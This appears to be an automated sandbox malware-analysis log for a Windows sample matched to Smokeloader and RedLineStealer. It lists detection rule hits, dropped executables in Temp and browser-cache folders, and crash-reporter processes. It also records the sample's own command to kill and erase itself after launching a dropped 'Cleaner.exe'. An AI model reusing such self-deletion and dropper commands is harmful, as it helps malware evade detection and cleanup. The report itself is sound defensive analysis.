Source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.319401695.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.318795705.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.302663434.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.309109018.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.324683404.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.313496806.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.339850258.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.337744676.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.346524213.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.303421378.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.308709997.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.352027898.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.324186328.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 528

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Code function: 22_2_00007FF9A58D1D61		22_2_00007FF9A58D1D61
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Code function: 22_2_00007FF9A58DA91D		22_2_00007FF9A58DA91D
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Code function: 22_2_00007FF9A58D553E		22_2_00007FF9A58D553E

Source: file.exe

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe
Source: file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMmail.exe, vs file.exe

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1] C394B068AA87264419F60838A8812B750E67CF93F2494C62B9078C3708072568

Source: Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 528
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 700
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 724
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 760
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 768
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 848
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 840
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1032
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1292
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1552
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "file.exe" /f & erase "C:\Users\user\Desktop\file.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "file.exe" /f
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "file.exe" /f & erase "C:\Users\user\Desktop\file.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "file.exe" /f

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "file.exe")

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0

Jump to behavior

Source: classification engine

Classification label: mal88.troj.winEXE@21/51@1/5

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3196
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4744:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4392:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ^\C:\car.pdb source: file.exe
Source:	Binary string: C:\car.pdb source: file.exe

Source: Cleaner.exe.0.dr

Static PE information: 0xEAE49AF1 [Wed Nov 17 16:40:17 2094 UTC]

Source: initial sample	Static PE information: section name: .text entropy: 7.920922021912582
Source: initial sample	Static PE information: section name: .text entropy: 7.920922021912582

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
